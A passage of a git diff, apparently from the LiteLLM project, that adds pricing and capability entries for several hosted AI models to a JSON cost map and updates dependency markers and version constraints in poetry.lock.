"cache_creation_input_token_cost_above_200k_tokens": 7.5e-06, + "cache_read_input_token_cost": 3e-07, + "cache_read_input_token_cost_above_200k_tokens": 6e-07, + "input_cost_per_token": 3e-06, + "input_cost_per_token_above_200k_tokens": 6e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 1000000, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 1.5e-05, + "output_cost_per_token_above_200k_tokens": 2.25e-05, + "source": "https://openrouter.ai/anthropic/claude-sonnet-4.6", + "supports_assistant_prefill": true, + "supports_computer_use": true, + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true, + "tool_use_system_prompt_tokens": 159 + }, "openrouter/anthropic/claude-opus-4.5": { "cache_creation_input_token_cost": 6.25e-06, "cache_read_input_token_cost": 5e-07, @@ -26056,6 +26390,39 @@ "supports_web_search": true, "tpm": 800000 }, + "openrouter/google/gemini-3.1-pro-preview": { + "cache_read_input_token_cost": 2e-07, + "cache_read_input_token_cost_above_200k_tokens": 4e-07, + "cache_creation_input_token_cost_above_200k_tokens": 2.5e-07, + "input_cost_per_token": 2e-06, + "input_cost_per_token_above_200k_tokens": 4e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-05, + "output_cost_per_token_above_200k_tokens": 1.8e-05, + "source": "https://openrouter.ai/google/gemini-3.1-pro-preview", + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_vision": true + }, "openrouter/gryphe/mythomax-l2-13b": { "input_cost_per_token": 1.875e-06, "litellm_provider": "openrouter", @@ -26433,6 +26800,29 @@ "supports_reasoning": true, "supports_tool_choice": true }, + "openrouter/openai/gpt-5.1-codex-max": { + "cache_read_input_token_cost": 1.25e-07, + "input_cost_per_token": 1.25e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 400000, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 1e-05, + "source": "https://openrouter.ai/openai/gpt-5.1-codex-max", + "supported_modalities": [ + "text", + "image" + ], + "supported_output_modalities": [ + "text" + ], + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, "openrouter/openai/gpt-5.2": { "input_cost_per_image": 0, "cache_read_input_token_cost": 1.75e-07, @@ -26587,6 +26977,19 @@ "supports_tool_choice": true, "supports_function_calling": true }, + "openrouter/qwen/qwen3-coder-plus": { + "input_cost_per_token": 1e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 997952, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 5e-06, + "source": "https://openrouter.ai/qwen/qwen3-coder-plus", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, "openrouter/qwen/qwen3-235b-a22b-2507": { "input_cost_per_token": 7.1e-08, "litellm_provider": "openrouter", @@ -26722,6 +27125,19 @@ "supports_vision": true, "supports_prompt_caching": false }, + "openrouter/z-ai/glm-5": { + "input_cost_per_token": 8e-07, + "litellm_provider": "openrouter", + "max_input_tokens": 202752, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 2.56e-06, + "source": "https://openrouter.ai/z-ai/glm-5", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, "openrouter/minimax/minimax-m2.1": { "input_cost_per_token": 2.7e-07, "output_cost_per_token": 1.2e-06, @@ -29636,6 +30052,18 @@ "supports_response_schema": true, "supports_tool_choice": true }, + "together_ai/Qwen/Qwen3.5-397B-A17B": { + "input_cost_per_token": 6e-07, + "litellm_provider": "together_ai", + "max_input_tokens": 262144, + "mode": "chat", + "output_cost_per_token": 3.6e-06, + "source": "https://www.together.ai/models/Qwen/Qwen3.5-397B-A17B", + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true + }, "tts-1": { "input_cost_per_character": 1.5e-05, "litellm_provider": "openai", @@ -32306,6 +32734,57 @@ "output_cost_per_token": 3e-06, "source": "https://cloud.google.com/vertex-ai/generative-ai/pricing#gemini-models" }, + "vertex_ai/gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "vertex_ai-language-models", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "source": "https://cloud.google.com/vertex-ai/generative-ai/pricing#gemini-models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true + }, "vertex_ai/deep-research-pro-preview-12-2025": { "input_cost_per_image": 0.0011, "input_cost_per_token": 2e-06, @@ -34164,6 +34643,36 @@ "supports_tool_choice": true, "source": "https://aws.amazon.com/bedrock/pricing/" }, + "zai/glm-5": { + "cache_creation_input_token_cost": 0, + "cache_read_input_token_cost": 2e-07, + "input_cost_per_token": 1e-06, + "output_cost_per_token": 3.2e-06, + "litellm_provider": "zai", + "max_input_tokens": 200000, + "max_output_tokens": 128000, + "mode": "chat", + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "source": "https://docs.z.ai/guides/overview/pricing" + }, + "zai/glm-5-code": { + "cache_creation_input_token_cost": 0, + "cache_read_input_token_cost": 3e-07, + "input_cost_per_token": 1.2e-06, + "output_cost_per_token": 5e-06, + "litellm_provider": "zai", + "max_input_tokens": 200000, + "max_output_tokens": 128000, + "mode": "chat", + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "source": "https://docs.z.ai/guides/overview/pricing" + }, "zai/glm-4.7": { "cache_creation_input_token_cost": 0, "cache_read_input_token_cost": 1.1e-07, diff --git a/poetry.lock b/poetry.lock index 3062c5fdaea..38b7dc02f55 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.2.0 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.3.2 and should not be changed by hand. [[package]] name = "a2a-sdk" @@ -7,11 +7,11 @@ description = "A2A Python SDK" optional = false python-versions = ">=3.10" groups = ["main", "proxy-dev"] -markers = "python_version >= \"3.10\"" files = [ {file = "a2a_sdk-0.3.22-py3-none-any.whl", hash = "sha256:b98701135bb90b0ff85d35f31533b6b7a299bf810658c1c65f3814a6c15ea385"}, {file = "a2a_sdk-0.3.22.tar.gz", hash = "sha256:77a5694bfc4f26679c11b70c7f1062522206d430b34bc1215cfbb1eba67b7e7d"}, ] +markers = {main = "python_version >= \"3.10\" and extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [package.dependencies] google-api-core = ">=1.26.0" @@ -385,6 +385,7 @@ files = [ {file = "azure_core-1.36.0-py3-none-any.whl", hash = "sha256:fee9923a3a753e94a259563429f3644aaf05c486d45b1215d098115102d91d3b"}, {file = "azure_core-1.36.0.tar.gz", hash = "sha256:22e5605e6d0bf1d229726af56d9e92bc37b6e726b141a18be0b4d424131741b7"}, ] +markers = {main = "extra == \"proxy\" or extra == \"extra-proxy\""} [package.dependencies] requests = ">=2.21.0" @@ -405,6 +406,7 @@ files = [ {file = "azure_identity-1.25.1-py3-none-any.whl", hash = "sha256:e9edd720af03dff020223cd269fa3a61e8f345ea75443858273bcb44844ab651"}, {file = "azure_identity-1.25.1.tar.gz", hash = "sha256:87ca8328883de6036443e1c37b40e8dc8fb74898240f61071e09d2e369361456"}, ] +markers = {main = "extra == \"proxy\" or extra == \"extra-proxy\""} [package.dependencies] azure-core = ">=1.31.0" @@ -598,7 +600,7 @@ files = [ {file = "cachetools-6.2.2-py3-none-any.whl", hash = "sha256:6c09c98183bf58560c97b2abfcedcbaf6a896a490f534b031b661d3723b45ace"}, {file = "cachetools-6.2.2.tar.gz", hash = "sha256:8e6d266b25e539df852251cfd6f990b4bc3a141db73b939058d809ebd2590fc6"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [[package]] name = "certifi" @@ -705,7 +707,7 @@ files = [ {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, ] -markers = {main = "platform_python_implementation != \"PyPy\" or extra == \"proxy\"", dev = "platform_python_implementation != \"PyPy\"", proxy-dev = "platform_python_implementation != \"PyPy\""} +markers = {main = "(platform_python_implementation != \"PyPy\" or extra == \"proxy\") and (python_version >= \"3.10\" or extra == \"proxy\" or extra == \"extra-proxy\") and (extra == \"proxy\" or extra == \"extra-proxy\" or extra == \"mlflow\")", dev = "platform_python_implementation != \"PyPy\"", proxy-dev = "platform_python_implementation != \"PyPy\""} [package.dependencies] pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} @@ -1055,6 +1057,7 @@ files = [ {file = "cryptography-43.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ce6fae5bdad59577b44e4dfed356944fbf1d925269114c28be377692643b4ff"}, {file = "cryptography-43.0.3.tar.gz", hash = "sha256:315b9001266a492a6ff443b61238f956b214dbec9910a081ba5b6646a055a805"}, ] +markers = {main = "python_version >= \"3.10\" and (extra == \"proxy\" or extra == \"extra-proxy\" or extra == \"mlflow\") or extra == \"proxy\" or extra == \"extra-proxy\""} [package.dependencies] cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} @@ -1837,11 +1840,11 @@ description = "Google API client core library" optional = false python-versions = ">=3.7" groups = ["main", "proxy-dev"] -markers = "python_version >= \"3.14\"" files = [ {file = "google_api_core-2.25.2-py3-none-any.whl", hash = "sha256:e9a8f62d363dc8424a8497f4c2a47d6bcda6c16514c935629c257ab5d10210e7"}, {file = "google_api_core-2.25.2.tar.gz", hash = "sha256:1c63aa6af0d0d5e37966f157a77f9396d820fba59f9e43e9415bc3dc5baff300"}, ] +markers = {main = "python_version >= \"3.14\" and (extra == \"extra-proxy\" or extra == \"google\")", proxy-dev = "python_version >= \"3.14\""} [package.dependencies] google-auth = ">=2.14.1,<3.0.0" @@ -1869,7 +1872,7 @@ files = [ {file = "google_api_core-2.28.1-py3-none-any.whl", hash = "sha256:4021b0f8ceb77a6fb4de6fde4502cecab45062e66ff4f2895169e0b35bc9466c"}, {file = "google_api_core-2.28.1.tar.gz", hash = "sha256:2b405df02d68e68ce0fbc138559e6036559e685159d148ae5861013dc201baf8"}, ] -markers = {main = "(python_version >= \"3.10\" or extra == \"google\" or extra == \"extra-proxy\") and python_version < \"3.14\"", proxy-dev = "python_version >= \"3.10\" and python_version < \"3.14\""} +markers = {main = "python_version < \"3.14\" and (extra == \"extra-proxy\" or extra == \"google\")", proxy-dev = "python_version >= \"3.10\" and python_version < \"3.14\""} [package.dependencies] google-auth = ">=2.14.1,<3.0.0" @@ -1906,7 +1909,7 @@ files = [ {file = "google_auth-2.43.0-py2.py3-none-any.whl", hash = "sha256:af628ba6fa493f75c7e9dbe9373d148ca9f4399b5ea29976519e0a3848eddd16"}, {file = "google_auth-2.43.0.tar.gz", hash = "sha256:88228eee5fc21b62a1b5fe773ca15e67778cb07dc8363adcb4a8827b52d81483"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [package.dependencies] cachetools = ">=2.0.0,<7.0" @@ -2078,11 +2081,11 @@ files = [ ] [package.dependencies] -google-api-core = {version = ">=1.34.1,<2.0.dev0 || >=2.11.dev0,<3.0.0dev", extras = ["grpc"]} -google-auth = ">=2.14.1,<2.24.0 || >2.24.0,<2.25.0 || >2.25.0,<3.0.0dev" -grpc-google-iam-v1 = ">=0.12.4,<1.0.0dev" -proto-plus = ">=1.22.3,<2.0.0dev" -protobuf = ">=3.20.2,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<6.0.0dev" +google-api-core = {version = ">=1.34.1,<2.0.dev0 || >=2.11.dev0,<3.0.0.dev0", extras = ["grpc"]} +google-auth = ">=2.14.1,<2.24.0 || >2.24.0,<2.25.0 || >2.25.0,<3.0.0.dev0" +grpc-google-iam-v1 = ">=0.12.4,<1.0.0.dev0" +proto-plus = ">=1.22.3,<2.0.0.dev0" +protobuf = ">=3.20.2,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<6.0.0.dev0" [[package]] name = "google-cloud-resource-manager" @@ -2264,7 +2267,7 @@ files = [ {file = "googleapis_common_protos-1.72.0-py3-none-any.whl", hash = "sha256:4299c5a82d5ae1a9702ada957347726b167f9f8d1fc352477702a1e851ff4038"}, {file = "googleapis_common_protos-1.72.0.tar.gz", hash = "sha256:e55a601c1b32b52d7a3e65f43563e2aa61bcd737998ee672ac9b951cd49319f5"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\") or extra == \"google\" or extra == \"extra-proxy\""} [package.dependencies] grpcio = {version = ">=1.44.0,<2.0.0", optional = true, markers = "extra == \"grpc\""} @@ -2673,11 +2676,11 @@ description = "Consume Server-Sent Event (SSE) messages with HTTPX." optional = false python-versions = ">=3.9" groups = ["main", "proxy-dev"] -markers = "python_version >= \"3.10\"" files = [ {file = "httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc"}, {file = "httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d"}, ] +markers = {main = "python_version >= \"3.10\" and (extra == \"proxy\" or extra == \"extra-proxy\")", proxy-dev = "python_version >= \"3.10\""} [[package]] name = "huey" @@ -3042,7 +3045,7 @@ files = [ [package.dependencies] attrs = ">=22.2.0" -jsonschema-specifications = ">=2023.03.6" +jsonschema-specifications = ">=2023.3.6" referencing = ">=0.28.4" rpds-py = ">=0.7.1" @@ -3713,6 +3716,7 @@ files = [ {file = "msal-1.34.0-py3-none-any.whl", hash = "sha256:f669b1644e4950115da7a176441b0e13ec2975c29528d8b9e81316023676d6e1"}, {file = "msal-1.34.0.tar.gz", hash = "sha256:76ba83b716ea5a6d75b0279c0ac353a0e05b820ca1f6682c0eb7f45190c43c2f"}, ] +markers = {main = "extra == \"proxy\" or extra == \"extra-proxy\""} [package.dependencies] cryptography = ">=2.5,<49" @@ -3733,6 +3737,7 @@ files = [ {file = "msal_extensions-1.3.1-py3-none-any.whl", hash = "sha256:96d3de4d034504e969ac5e85bae8106c8373b5c6568e4c8fa7af2eca9dbe6bca"}, {file = "msal_extensions-1.3.1.tar.gz", hash = "sha256:c5b0fd10f65ef62b5f1d62f4251d51cbcaf003fcedae8c91b040a488614be1a4"}, ] +markers = {main = "extra == \"proxy\" or extra == \"extra-proxy\""} [package.dependencies] msal = ">=1.29,<2" @@ -3983,6 +3988,7 @@ files = [ {file = "nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9"}, {file = "nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f"}, ] +markers = {main = "extra == \"extra-proxy\""} [[package]] name = "numpy" @@ -4105,7 +4111,7 @@ files = [ {file = "opentelemetry_api-1.39.1-py3-none-any.whl", hash = "sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950"}, {file = "opentelemetry_api-1.39.1.tar.gz", hash = "sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c"}, ] -markers = {main = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and extra == \"mlflow\""} [package.dependencies] importlib-metadata = ">=6.0,<8.8.0" @@ -4220,7 +4226,7 @@ files = [ {file = "opentelemetry_sdk-1.39.1-py3-none-any.whl", hash = "sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c"}, {file = "opentelemetry_sdk-1.39.1.tar.gz", hash = "sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6"}, ] -markers = {main = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and extra == \"mlflow\""} [package.dependencies] opentelemetry-api = "1.39.1" @@ -4238,7 +4244,7 @@ files = [ {file = "opentelemetry_semantic_conventions-0.60b1-py3-none-any.whl", hash = "sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb"}, {file = "opentelemetry_semantic_conventions-0.60b1.tar.gz", hash = "sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953"}, ] -markers = {main = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and extra == \"mlflow\""} [package.dependencies] opentelemetry-api = "1.39.1" @@ -4722,6 +4728,7 @@ files = [ {file = "prisma-0.11.0-py3-none-any.whl", hash = "sha256:22bb869e59a2968b99f3483bb417717273ffbc569fd1e9ceed95e5614cbaf53a"}, {file = "prisma-0.11.0.tar.gz", hash = "sha256:3f2f2fd2361e1ec5ff655f2a04c7860c2f2a5bc4c91f78ca9c5c6349735bf693"}, ] +markers = {main = "extra == \"extra-proxy\""} [package.dependencies] click = ">=7.1.2" @@ -4895,7 +4902,7 @@ files = [ {file = "proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66"}, {file = "proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [package.dependencies] protobuf = ">=3.19.0,<7.0.0" @@ -4923,7 +4930,7 @@ files = [ {file = "protobuf-5.29.5-py3-none-any.whl", hash = "sha256:6cf42630262c59b2d8de33954443d94b746c952b01434fc58a417fdbd2e84bd5"}, {file = "protobuf-5.29.5.tar.gz", hash = "sha256:bc1463bafd4b0929216c35f437a8e28731a2b7fe3d98bb77a600efced5a15c84"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\""} [[package]] name = "psutil" @@ -5083,7 +5090,7 @@ files = [ {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [[package]] name = "pyasn1-modules" @@ -5096,7 +5103,7 @@ files = [ {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [package.dependencies] pyasn1 = ">=0.6.1,<0.7.0" @@ -5124,7 +5131,7 @@ files = [ {file = "pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934"}, {file = "pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2"}, ] -markers = {main = "implementation_name != \"PyPy\" and (platform_python_implementation != \"PyPy\" or extra == \"proxy\")", dev = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"", proxy-dev = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\""} +markers = {main = "implementation_name != \"PyPy\" and (platform_python_implementation != \"PyPy\" or extra == \"proxy\") and (python_version >= \"3.10\" or extra == \"proxy\" or extra == \"extra-proxy\") and (extra == \"proxy\" or extra == \"extra-proxy\" or extra == \"mlflow\")", dev = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"", proxy-dev = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\""} [[package]] name = "pydantic" @@ -5347,6 +5354,7 @@ files = [ {file = "PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb"}, {file = "pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953"}, ] +markers = {main = "(python_version <= \"3.13\" or extra == \"proxy\" or extra == \"extra-proxy\") and (extra == \"extra-proxy\" or extra == \"proxy\")"} [package.dependencies] cryptography = {version = ">=3.4.0", optional = true, markers = "extra == \"crypto\""} @@ -5599,6 +5607,19 @@ files = [ [package.extras] cli = ["click (>=5.0)"] +[[package]] +name = "python-multipart" +version = "0.0.20" +description = "A streaming multipart parser for Python" +optional = true +python-versions = ">=3.8" +groups = ["main"] +markers = "python_version == \"3.9\" and extra == \"proxy\"" +files = [ + {file = "python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104"}, + {file = "python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13"}, +] + [[package]] name = "python-multipart" version = "0.0.22" @@ -6276,7 +6297,7 @@ files = [ {file = "rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762"}, {file = "rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75"}, ] -markers = {main = "extra == \"google\" or extra == \"extra-proxy\" or python_version >= \"3.10\"", proxy-dev = "python_version >= \"3.10\""} +markers = {main = "python_version >= \"3.10\" and (extra == \"extra-proxy\" or extra == \"google\" or extra == \"mlflow\") or extra == \"google\" or extra == \"extra-proxy\"", proxy-dev = "python_version >= \"3.10\""} [package.dependencies] pyasn1 = ">=0.1.3" @@ -6322,10 +6343,10 @@ files = [ ] [package.dependencies] -botocore = ">=1.37.4,<2.0a.0" +botocore = ">=1.37.4,<2.0a0" [package.extras] -crt = ["botocore[crt] (>=1.37.4,<2.0a.0)"] +crt = ["botocore[crt] (>=1.37.4,<2.0a0)"] [[package]] name = "scikit-learn" @@ -6478,9 +6499,9 @@ tornado = ">=6.4.2,<7" urllib3 = ">=1.26,<3" [package.extras] -all = ["boto3 (>=1.34.98,<2)", "botocore (>=1.34.110,<2)", "cohere (>=5.9.4,<6.00)", "dagger-io (>=0.1.1) ; python_version >= \"3.11\"", "fastembed (>=0.3.0,<0.4) ; python_version < \"3.13\"", "google-cloud-aiplatform (>=1.45.0,<2)", "ipykernel (>=6.25.0,<7)", "llama-cpp-python (>=0.2.28,<0.2.86) ; python_version < \"3.13\"", "mistralai (>=0.0.12,<0.1.0)", "mypy (>=1.7.1,<2)", "ollama (>=0.1.7)", "pillow (>=10.2.0,<11.0.0) ; python_version < \"3.13\"", "pinecone[asyncio] (>=7.0.0,<8.0.0)", "psycopg[binary] (>=3.1.0,<4)", "pytest (>=8.2,<9.0)", "pytest-asyncio (>=0.24.0,<0.25)", "pytest-cov (>=4.1.0,<5)", "pytest-mock (>=3.12.0,<4)", "pytest-timeout", "pytest-xdist (>=3.5.0,<4)", "python-dotenv (>=1.0.0,<2)", "qdrant-client (>=1.11.1,<2)", "requests-mock (>=1.12.1,<2)", "ruff (>=0.11.2,<0.12)", "sentence-transformers (>=5.0.0) ; python_version < \"3.13\"", "tokenizers (>=0.19) ; python_version < \"3.13\"", "torch (>=2.6.0) ; python_version < \"3.13\"", "torchvision (>=0.17.0) ; python_version < \"3.13\"", "transformers (>=4.36.2) ; python_version < \"3.13\"", "types-pyyaml (>=6.0.12.12,<7)", "types-requests (>=2.31.0,<3)"] +all = ["boto3 (>=1.34.98,<2)", "botocore (>=1.34.110,<2)", "cohere (>=5.9.4,<6.0)", "dagger-io (>=0.1.1) ; python_version >= \"3.11\"", "fastembed (>=0.3.0,<0.4) ; python_version < \"3.13\"", "google-cloud-aiplatform (>=1.45.0,<2)", "ipykernel (>=6.25.0,<7)", "llama-cpp-python (>=0.2.28,<0.2.86) ; python_version < \"3.13\"", "mistralai (>=0.0.12,<0.1.0)", "mypy (>=1.7.1,<2)", "ollama (>=0.1.7)", "pillow (>=10.2.0,<11.0.0) ; python_version < \"3.13\"", "pinecone[asyncio] (>=7.0.0,<8.0.0)", "psycopg[binary] (>=3.1.0,<4)", "pytest (>=8.2,<9.0)", "pytest-asyncio (>=0.24.0,<0.25)", "pytest-cov (>=4.1.0,<5)", "pytest-mock (>=3.12.0,<4)", "pytest-timeout", "pytest-xdist (>=3.5.0,<4)", "python-dotenv (>=1.0.0,<2)", "qdrant-client (>=1.11.1,<2)", "requests-mock (>=1.12.1,<2)", "ruff (>=0.11.2,<0.12)", "sentence-transformers (>=5.0.0) ; python_version < \"3.13\"", "tokenizers (>=0.19) ; python_version < \"3.13\"", "torch (>=2.6.0) ; python_version < \"3.13\"", "torchvision (>=0.17.0) ; python_version < \"3.13\"", "transformers (>=4.36.2) ; python_version < \"3.13\"", "types-pyyaml (>=6.0.12.12,<7)", "types-requests (>=2.31.0,<3)"] bedrock = ["boto3 (>=1.34.98,<2)", "botocore (>=1.34.110,<2)"] -cohere = ["cohere (>=5.9.4,<6.00)"] +cohere = ["cohere (>=5.9.4,<6.0)"] dev = ["dagger-io (>=0.1.1) ; python_version >= \"3.11\"", "ipykernel (>=6.25.0,<7)", "mypy (>=1.7.1,<2)", "pytest (>=8.2,<9.0)", "pytest-asyncio (>=0.24.0,<0.25)", "pytest-cov (>=4.1.0,<5)", "pytest-mock (>=3.12.0,<4)", "pytest-timeout", "pytest-xdist (>=3.5.0,<4)", "python-dotenv (>=1.0.0,<2)", "requests-mock (>=1.12.1,<2)", "ruff (>=0.11.2,<0.12)", "types-pyyaml (>=6.0.12.12,<7)", "types-requests (>=2.31.0,<3)"] docs = ["pydoc-markdown (>=4.8.2) ; python_version < \"3.12\""] fastembed = ["fastembed (>=0.3.0,<0.4) ; python_version < \"3.13\""] @@ -7208,6 +7229,7 @@ files = [ {file = "tomlkit-0.13.3-py3-none-any.whl", hash = "sha256:c89c649d79ee40629a9fda55f8ace8c6a1b42deb912b2a8fd8d942ddadb606b0"}, {file = "tomlkit-0.13.3.tar.gz", hash = "sha256:430cf247ee57df2b94ee3fbe588e71d362a941ebb545dec29b53961d61add2a1"}, ] +markers = {main = "extra == \"extra-proxy\""} [[package]] name = "tornado" @@ -7980,4 +8002,4 @@ utils = 